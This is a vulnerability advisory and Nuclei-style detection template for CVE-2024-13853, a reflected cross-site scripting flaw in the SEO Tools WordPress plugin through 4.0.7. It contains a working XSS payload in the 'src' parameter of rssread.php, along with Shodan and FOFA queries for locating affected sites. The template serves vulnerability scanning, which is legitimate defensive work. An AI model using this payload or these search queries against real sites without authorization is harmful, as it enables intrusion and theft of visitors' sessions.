The SEO Tools WordPress plugin through version 4.0.7 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the 'src' parameter in the rssread.php file before outputting it back in the page, which could allow attackers to execute arbitrary JavaScript code in a victim's browser.
PoC
id: CVE-2024-13853
info:
name: WordPress SEO Tools Plugin 4.0.7 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
The SEO Tools WordPress plugin through version 4.0.7 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the 'src' parameter in the rssread.php file before outputting it back in the page, which could allow attackers to execute arbitrary JavaScript code in a victim's browser.
impact: |
Unauthenticated attackers can execute arbitrary JavaScript in a victim's browser via the src parameter, potentially stealing cookies or credentials.
remediation: |
Update SEO Tools plugin to a version newer than 4.0.7.
reference:
- https://wpscan.com/vulnerability/52991dd9-41f7-4cf8-b8c9-56dd4e62bf0c
- https://nvd.nist.gov/vuln/detail/CVE-2024-13853
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-13853
cwe-id: CWE-79
epss-score: 0.00611
epss-percentile: 0.47611
metadata:
max-request: 1
vendor: WordPress
product: seo-automatic-seo-tools
shodan-query: http.html:"seo-automatic-seo-tools"
fofa-query: body="wp-content/plugins/seo-automatic-seo-tools/"
tags: cve,cve2024,wp,wordpress,wp-plugin,xss,seo-automatic-seo-tools,vuln
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
redirects: true
matchers:
- type: word
part: body
words:
- 'seo-automatic-seo-tools'
internal: true
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/seo-automatic-seo-tools/feedcommander/rssread.php?src=1%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"></script><script>alert(document.domain)</script><script>'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4b0a00483046022100a081d01f2ea3d1568ee9c1a228aabca7831163a789e020be5d27df7edf51bc74022100b8d48e85c71eb4e4202e94613da3c945e3809d277863aba307a9f4237bfdb882:922c64590222798bb761d5b6d8e72950
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